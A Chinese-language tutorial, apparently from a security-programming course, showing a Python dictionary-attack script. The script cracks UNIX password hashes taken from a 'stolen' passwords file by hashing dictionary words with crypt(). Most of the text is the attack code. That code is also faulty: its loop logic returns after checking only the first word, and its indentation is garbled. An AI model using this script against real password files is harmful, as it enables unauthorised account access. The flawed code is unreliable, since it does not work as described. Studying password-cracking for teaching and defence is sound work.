在编写我们的UNIX口令破解机时,我们需要使用UNIX 计算口令hash 的crypt()算法。Python 标准库中已自带有crypt 库。要计算一个加密的UNIX 口令hash,只需调用函数crypt.crypt(),并将口令和salt 作为参数传递给它。该函数会以字符串形式返回口令的hash。
设计思路:
黑客穷举了字典中所有单词,并用Unix crypt() 函数对它们加密,然后将结果偷来的加密密码进行对比。 这就是:字典攻击法 ,来破解加密的口令。
环境:Ubuntu
Python3.5.2 # -*- coding: UTF-8 -*-
#破解UNIX口令密码
import crypt def testPass(cryptPass): #穷举密码
salt = cryptPass[0:2]
dicFile = open('dicfile.txt', 'r')
if salt == '$6':
for word in dicFile.readlines():
word = word.strip()
cryptWord = crypt.crypt(word,cryptPass)
if cryptWord == cryptPass:
print('[+] Found Password:' + word)
return
else:
print('[-] Not Found Password')
return
else:
for word in dicFile.readlines():
word = word.strip()
cryptWord = crypt.crypt(word, salt)
if cryptWord == cryptPass:
print('[+] Found Password:' + word)
return
else:
print('[-] Not Found Password')
return def main(): #处理口令文件
passFile = open('passwords.txt','r')
for line in passFile.readlines():
if ':' in line:
user = line.split(':')[0]
cryptPass = line.split(':')[1].strip()
print('[*] Cracking Password For: ' + user)
testPass(cryptPass) if __name__ == '__main__':
main()